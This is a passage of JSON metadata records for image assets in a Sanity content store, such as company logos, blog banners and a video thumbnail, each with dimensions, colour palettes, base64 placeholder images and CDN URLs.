.imagePaletteSwatch","background":"#88c3f1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#105488","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a8ce4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-splunk-simplified.svg","path":"images/sczeoy4w/production/a01707ad3a427fd6acc5672c3685cf5739311a0a-200x241.svg","sha1hash":"a01707ad3a427fd6acc5672c3685cf5739311a0a","size":454,"uploadId":"cUXJ8c6WkrXgXZZ78tvRwmJOBYRJcunI","url":"https://cdn.sanity.io/images/sczeoy4w/production/a01707ad3a427fd6acc5672c3685cf5739311a0a-200x241.svg"} {"_createdAt":"2023-05-22T08:04:44Z","_id":"image-b4f64d295dbf2ba05b1ceb8cd1b742d76d934199-141x40-svg","_rev":"4JMA3H9bBgAwAcyypTju3j","_type":"sanity.imageAsset","_updatedAt":"2023-05-22T08:04:44Z","assetId":"b4f64d295dbf2ba05b1ceb8cd1b742d76d934199","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DKB..?~8^v$}oYxk%2%2s:of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.525,"height":40,"width":141},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB6klEQVQYlR3Dy28SQRwA4F95BHmUasWgLcx2d6lgAaFkZWeGgjVpOdggoQWWGZrGg0bTi1EvrY/EpLYqrbTa2YWYNHrhUKPGi6ZJE7150oMnj8aDSf8LTPySD2bO9uy1bOeEoVvI0C3JwN3AXOahS5UUt4rkoYikDKqS7FOR7FGQ5IhIEej3+3Dp/HVoYAs4NYFPmVDJrMNM4i7Arw/pyKfty8mPm+X0+yeVyb3Vq6nbC8uj41I8pKBwSkEoI6PwpILQhIKkYTkcGpiKN8AfBOA5ExZzAhgxIeJbA4ANgKOvyvyfg1j56Ita+ns4Xvr2ujDXunktgaNcuRCb1bRokWjRWV2LFtP5uDFSzT71NqnlZmTXzanwciJ8jAgfpy+PLU2v2+H353P4ew/nfu5r9EcP595tzF9cNe4lq9mdiRpu5Wr65nRNb+Vreitj4LbMiRjhRIwyIsKcComT/1GD7Jy+oq344c0D5l2p3w/eqTwK3yqtyTeKz2JL+RcqJ5bKaSfRpJ1kk3bji7Q71qSdACdimBFxilFxhlMR4kQEORGBur51spheHoR+H6Aw9tZRTu15KplX/qrWPd7QrSFGdj0G3nbVcdtZx8+ddX3LbuC2jRExwIhpY1Q4OTVdnAoHJ8K2kH1sKySY7R8Og44bJcdG1QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382b57","foreground":"#fff","population":2.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#846c04","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#382b57","foreground":"#fff","population":2.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#886c10","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eccc64","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#949064","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efc707","foreground":"#000","population":0.23,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"peer-insights-dark@3x 1.svg","path":"images/sczeoy4w/production/b4f64d295dbf2ba05b1ceb8cd1b742d76d934199-141x40.svg","sha1hash":"b4f64d295dbf2ba05b1ceb8cd1b742d76d934199","size":30985,"uploadId":"3lINvNLAq4EIJIGhKMeRyNnBMTuqKqDn","url":"https://cdn.sanity.io/images/sczeoy4w/production/b4f64d295dbf2ba05b1ceb8cd1b742d76d934199-141x40.svg"} {"_createdAt":"2023-06-15T12:51:15Z","_id":"image-f3d284bbd016491da2f5fb6398fb12765774b475-1549x313-png","_rev":"tW7kMBSHIbCIaN9dzYjQg4","_type":"sanity.imageAsset","_updatedAt":"2023-06-15T12:51:15Z","assetId":"f3d284bbd016491da2f5fb6398fb12765774b475","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"42A0wLFzSh}=1O","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.94888178913738,"height":313,"width":1549},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAzElEQVQYlSXMzUpCAQBEYdeBu0iQtKJ124ygLMtSEzXsnKm82C8iBlHL3qDHjpuLYWAYvkr0KroT3Yw21G21Fq1Hm9E9YVeoS7nTiGw9eFe9l41odf2nGahVoi/Ry+hhoBsYC73oRfQ6ehPtq53IqdgT2+CB6xxHu2IrsF+CPyUqjANF4EN4DgwCJTaMDqITcRZ5LTLNYjbqFJmOI0WESEtoVNSlOhfeA5+Bb2EeOA+c/be2oyNxGflaFcO338XJ7aoYPkUeI5PISDj6A9EiZVrdhdWgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#384844","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c4404","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d68020","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#854f13","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edbf8b","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c6c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d68020","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"karma_1.png","path":"images/sczeoy4w/production/f3d284bbd016491da2f5fb6398fb12765774b475-1549x313.png","sha1hash":"f3d284bbd016491da2f5fb6398fb12765774b475","size":51941,"uploadId":"EfxlS8X0D9PqDdjn2gRiNkhM05za0G9u","url":"https://cdn.sanity.io/images/sczeoy4w/production/f3d284bbd016491da2f5fb6398fb12765774b475-1549x313.png"} {"_createdAt":"2023-06-15T12:52:44Z","_id":"image-1fadcc1404250121b088fbe8d0318b488825adb5-1772x710-png","_rev":"tW7kMBSHIbCIaN9dzYkJmd","_type":"sanity.imageAsset","_updatedAt":"2023-06-15T12:52:44Z","assetId":"1fadcc1404250121b088fbe8d0318b488825adb5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"Dk5+32f6ade-aePEf+j]f5jY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4957746478873237,"height":710,"width":1772},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB90lEQVQokT1P30tTYRh+7mROpSLRZluKupN2EQh2k9UsrSymGeUgIbwoRbfznXPWSg1bmk4yivAHS1OPM3gqou76G7qKriQaNuju/aR/IgYfXbw8vC/Pj/cBKHWgxEAZBKULFAuUk6CcAuUSKFdBaQelEpRaUM6A0gJKlcHToIRBiYLSDFA6QZkD5RUoI6CcMwG3QVkAZRUUZQLK9+eg3DcGCVBmQRk2c6NseBGUTVB8UEZB6QElDso4KG9B+QzKGig3jfFXUFZA6QPFA+ULKOv/g0ytsmDR1B4AxQZlyhh+MGFZw/tkvh4DJQPKBigfDS8JUHeB+gF4cBnv/4bAg25Qu6DOgHoZ1JugzoP6JagXQT1hxjM8BeoZUG+A+h4ChVJLlV/sjuS/NSeml4J1Gz+sar/YW+0Xr1UWfo8GCiUvUCiNBAqloRr/15Vj69+tQ9s/O4I7+/Fqvxg/vLV34cjW3vngzv6tit0/Z9Ezv13Tn11tuvtornXcfdg4PLnQNDjzOjrwZLmtZ367I5bb7ex9ttV+/Wm+NTG9ZI15k413pnKRvtk30Xh2rW3o8QtreHLB6s+uRGO5d7VIp1IVrq2OKuVGbOVFlHJCjq0aHFuF06lkOJOcKGPIte16pdxwykmfsJXXUN5d2w45yjle1jq2qk+nksF/R/AfGLLNyqwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e464d","foreground":"#fff","population":0.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044186","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#06a3f6","foreground":"#fff","population":2.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#036295","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7dd0fb","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#548aa9","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06a3f6","foreground":"#fff","population":2.9,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fiban-logo-centered-blue-gray-tl_1_orig-1.png","path":"images/sczeoy4w/production/1fadcc1404250121b088fbe8d0318b488825adb5-1772x710.png","sha1hash":"1fadcc1404250121b088fbe8d0318b488825adb5","size":152289,"uploadId":"tR68BPA8sDZ33NS9hBXqR8YOfS9GFkJR","url":"https://cdn.sanity.io/images/sczeoy4w/production/1fadcc1404250121b088fbe8d0318b488825adb5-1772x710.png"} {"_createdAt":"2023-09-06T08:06:41Z","_id":"image-b3b432676012a92ed21fc6a6aba2771e17af8b46-1567x844-png","_rev":"Dk4vsGyYpr9Xi9g7qxxF82","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:06:41Z","assetId":"b3b432676012a92ed21fc6a6aba2771e17af8b46","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M98;fx_1DzWBRk?dt6M_ogkD4TM|xuoMxa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdklEQVQokR3Ri1PSAADH8f0FOhhj7M0Gm2CiUp6VpSLiCJDBYGMbD+UxGWKGVIqaKYZa5wPk6Hx1/a+Ff8Dnfr+7LwDhGYTSETpnp/MIXSQ4k/Z8JPlPJN+kPLv0+CE7ccxOtAm+BTvrNsqEaRPCi6BDH0VkgPUUX883AkLrbeDr7PxuMNIWxIvAh7NF4SIYvQqt9oKx/kL41jfbRtk6RJRhyoSpTStRtmB5YMxnhKIHaf1cVDpCvL2a/pnWu5LWS6p9OXen5B9T2aek9rQUufb6P6OsiTA7DtcuwuzYnduAZ2pjJXYoqR1Ju4hJHSHekbQbbX0g537L+Tul8JTO/lEKf9O5+2Dk3POyRXmPcP4b5t7H+WPAO72xKOwtRw4iifZq6kyIn8XlS0nricptQh2ksg9i5kHMPEr6fVzuLoTPfbPfCb6JMA3MvQ94p6tL4WecbMvZS0m9FJUrUblJZG7FzCCaHoTig2CsH4rfCOKvYKTtf/MFc1Ugomyn68PbAWFPWD2KJIZYLXRTejep9iStvyJeT8+d8v4TburEPdlyvdh2eqsEV4WpkhVfhykToLnC5Ezt1Vxj5l3z/fJBKHoaCP9YWOnMhzr+uSPau4MwDYRpwnTdgq2BaNZGVmF6EyLKEFEBcDztdmn8eJnxbpC8QfE1kt8aduYaKFuzUSWIrMBUzUZVLVgeRPVhKnrTiq+BDg1gyZSPU32TBjdhokwJIsswVbXTdYTespGGFc9DRAGmDBtZBh066FCfN0ujDnXEngIoRmPdOZen6ByrkJyBcybJb1FjDdrTJPltzGVgLgN31+10BXSoo4hiQXMgqo8g8n/8D+o1to4GNzOqAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372e5c","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041975","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8ddeb","foreground":"#000","population":10.35,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8ddeb","foreground":"#000","population":10.35,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#959ce3","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f93","foreground":"#fff","population":1.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252e90","foreground":"#fff","population":3.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"data_refinement_in_action_flink_for_data_transformation_into_bigquery.png","path":"images/sczeoy4w/production/b3b432676012a92ed21fc6a6aba2771e17af8b46-1567x844.png","sha1hash":"b3b432676012a92ed21fc6a6aba2771e17af8b46","size":141441,"uploadId":"b3b0fMMPbaNWmFwZyt1ou5vTEXYJKI3o","url":"https://cdn.sanity.io/images/sczeoy4w/production/b3b432676012a92ed21fc6a6aba2771e17af8b46-1567x844.png"} {"_createdAt":"2023-06-06T08:41:33Z","_id":"image-bc7f948588e1e5201d6bca992e49379bfd82f052-2065x1112-png","_rev":"OSa4Of7leLeKOMRysVqbZM","_type":"sanity.imageAsset","_updatedAt":"2023-06-06T08:41:33Z","assetId":"bc7f948588e1e5201d6bca992e49379bfd82f052","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNK1.yf#=_g3}uk;ffiLf*g~ggeUf+gM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8570143884892085,"height":1112,"width":2065},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAB5LAAAeSwG9LhMsAAAB8UlEQVQokW3S2U6TYRSF4Q+E8mNBcR4QizWAVMqg4n0oKikFHBDBIVKxBESKFS1DKpN6v49pf02cDtbpm3fttYN7RxhvIddKvpYEU808bOZJgtmIuQTPE7yKWGhloZmFBt4EVlrZ6uZwhINBQf4YL65SHGZphMVrFK6y1MfqAOvDlK5T6mMjy+YIH67wNoqB746yneZwmGqvYKKN+W7eDPA2S6GXQppiL+8yrA2w1s9aH+UMn7OspygeZbEhBtYM9wep9gjGGnmQIBeRj5hsYbqFxxEzEc8i5iNeRHHlQpLlDlZPsNzKSsTHs+xcYTsluBPUczdwL/AgkAvkA1OBh4EngaeBuUChBuhiu4fyWVaTlE9Ruchmp1AH1TIWuB8YD0wEJgPTgceBmcBsYD5QPMZOP/tDfLrE+km2Uuz2s5f5y/AXMPcb8NFP4FwjL5tYbONTN9V+Njr5eI7dDN9H+Xbzl2EDYw3/B9YMnzVRaGflNKtnKF9iM035PBsX2Mvy/XZ96WA8YqqD6RNMtTHR9C/wecT7zrhq9frPZKik2Eyxn63bxcDJ48x2MdfFzOl45b9v+LqdSi+HtzgYYX+YwxtUr1G5HL/NTrqeEL9MknySiYhc45+GM40Uz/BliK+jbPVQScej7PRQ6mAtSamdUpsf1ucnb/jQLLMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbba6f","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a48c5c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Under_Construction_Update_blog.png","path":"images/sczeoy4w/production/bc7f948588e1e5201d6bca992e49379bfd82f052-2065x1112.png","sha1hash":"bc7f948588e1e5201d6bca992e49379bfd82f052","size":178453,"uploadId":"ApGY9i5V3wPuIN4gvqd37B55BoqyOVvO","url":"https://cdn.sanity.io/images/sczeoy4w/production/bc7f948588e1e5201d6bca992e49379bfd82f052-2065x1112.png"} {"_createdAt":"2023-06-06T08:42:00Z","_id":"image-0e84eb3089308f24caeeb9b486bd59479fc8f2f7-3295x1724-png","_rev":"dsxJlHxlnt5nZt5n1qXwaH","_type":"sanity.imageAsset","_updatedAt":"2023-06-06T08:42:00Z","assetId":"0e84eb3089308f24caeeb9b486bd59479fc8f2f7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNG].yf#=wfS}uk;f3iLf*g~ggeUf+gL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAABzElEQVQokVXQaTfUcRjH4Z/+SoZCREQzJkuyd+h9FJIlW5MpqTCyHWkwSsnS8n6vzhgPePB9ep3PfQfDxYyX8aqC2TvMVTJbTqqctxW8r2TxNh9usVLF52oy5SxFLAc2Yxw2c9bHUZvgZYx0nJUeNgZZ7yfTzkYnX/r42k+2l2wXuX4OB9htYTV2CUxy1suPpODFDWZqSD9gMclinIV6PjWxkmA1wVqc9QdsJdhJst3AWjmZYjZKOWjiuIMfzYLngaFrjESMRoxFTFxjKmImYi7iTUQ64l3ExxK2qsk2sF3JZinZag7uc9AgeBacLw8PB0YDY4GJwFRgJjAXSAXSgaWb5Jo57mK/ke0K9uo4TJz/slB4XhkYuQDHA5MX4GzgdWA+8DawHOPgISfd5JrI1vKzjd/957taOHKpcPJSYaqIhRssxVi9zU4931vYa2D3Hidd/Ht6AQ4VMVrCWCnjJYxHVwvz4HwxmSqycXLJQuFha+HkXCOn3fwd4LRHMHKd2VrmG0nVMV3GRNFV8F0J240c93L2hNO+wvKnfktw1M7JY349ugCnq0nVM1fDVL70Epj/4WIZuVb+DHLSy1FnAf7VwV49u3fZr2Wv1n8EUvV1xtnIWwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e3a0a","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6580f","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":20.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2d0bf","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabf71","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a97e49","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":20.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Under_Construction_Update_social_media.png","path":"images/sczeoy4w/production/0e84eb3089308f24caeeb9b486bd59479fc8f2f7-3295x1724.png","sha1hash":"0e84eb3089308f24caeeb9b486bd59479fc8f2f7","size":168559,"uploadId":"mQYMHMA0f0ALzaLfHQAFhRqoHjbDkmsl","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e84eb3089308f24caeeb9b486bd59479fc8f2f7-3295x1724.png"} {"_createdAt":"2023-11-03T09:10:44Z","_id":"image-b5f16e52b98cca380d89471ded9d4774207341f8-6000x3375-png","_rev":"yGYi2HTu7doJg1fO7iIuXt","_type":"sanity.imageAsset","_updatedAt":"2023-11-03T09:10:44Z","assetId":"b5f16e52b98cca380d89471ded9d4774207341f8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDA0S61C^0WHEM+:PEwHW9NxEM$QNFj]sp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAAC+0lEQVQokSXSa0+aBwDFcT7BmoGzoAxFBAS5qSAFRJBJvWErKBQQRVcUKELRqiugYovSrm6rXdasWXbLktXE7cWyxi5zyeKWdZtptzTpsiX7Mv9lT1+ct7+ckxxRgyxES3scjTFFhyWLzrKErquI2lRErilwVvl/lpG2rSFrL9Gk2ULZUWXIskTZGaTmvshbrhiLjkWCvauIpC1RzLYM/YNreIfKuHwlznlKOAY26XZWUOpXkalWaFKv06wpC2BrR5WRrhx19wgfen3seQJU3FHSzkVE0tYYVmee0WCVi+EdxoI7+AM38Y/v4h3epcu5hcG2hdlRw9i7Q6vhptBwsnuBT7xOHvnNHLzh4P7AeTbdkZegra9AILRNMFoXwP7zW0JDu6dKb/8NHL46nuF36PO/i6a7jla/QcYe53jIyLMxFScjBg79Lna9U4hkyjhWV4Gh8Q1GJ7ZxD5bRmgsotDkU2qvC5HZTGb21htF+B5X5NkbTNsv+Jb5LXOKnZJij6RifhVNULpQQNcgjqPTzGHqymGx5NKYcUuUCEnmKBkWGxtYCTeoSLZ11VJZ9VJYP6LS+z1TgAbXCV9wtPaZ+7RHXr3zL4uUjRK80hjgjneJVWQRJc5wG+SwS+TyS11O8psgibVtBoa+hstxDa/0Inf1zIfbBh0ynn1Dc+Jfc9X+YL/xJPH2K6ExjEPHZEBJZWADFzTOIm+degi1ZmtrXURr30PQ8ECCD84BO5wHd3oeEZn8kvfqCy8XnxNO/Mzn3MyJx4wRKeRCtOoFKl0LW9qYAioXJWWFum/kuWtun6M99ibHvayFW3yEXpn9gbukZ05lTgrMnjEWPEWl0s/SYkjjsWWx9yxisV1Gb8sKxtZY1jPZdbAMf4xo+xD36DZ7xx/gmvicQOyaZ+4X0tafM538jtnDCZPIY0WSsRjhWIxKvE0m8TSSxRyTxHpdm9okm7zOz8AWp/BGZlROurD0ht35KsfIHm7decPve39za/4sbd55T2XnKevVX/gO15bli3ayPnQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4475","foreground":"#fff","population":0.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e097e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6471d1","foreground":"#fff","population":10.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8595c8","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6471d1","foreground":"#fff","population":10.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#714466","foreground":"#fff","population":5.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c3cbc","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of WIP Devrel Video thumbnail template (1290x1080 169) (2).png","path":"images/sczeoy4w/production/b5f16e52b98cca380d89471ded9d4774207341f8-6000x3375.png","sha1hash":"b5f16e52b98cca380d89471ded9d4774207341f8","size":951793,"uploadId":"un3mBYQlUBIQQOJspX4OpDyNz6dTcCK0","url":"https://cdn.sanity.io/images/sczeoy4w/production/b5f16e52b98cca380d89471ded9d4774207341f8-6000x3375.png"} {"_createdAt":"2023-06-06T09:21:16Z","_id":"image-1f217c4121262291d154fa9838bb3a155d377366-600x800-png","_rev":"rV9BZDYEBgQp95tIyQMwRN","_type":"sanity.imageAsset","_updatedAt":"2023-06-06T09:21:16Z","assetId":"1f217c4121262291d154fa9838bb3a155d377366","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dCF=XT$cUH13qbxp$xD%C9Mxr=%0JDI]%L%39bIt#%xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.75,"height":800,"width":600},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,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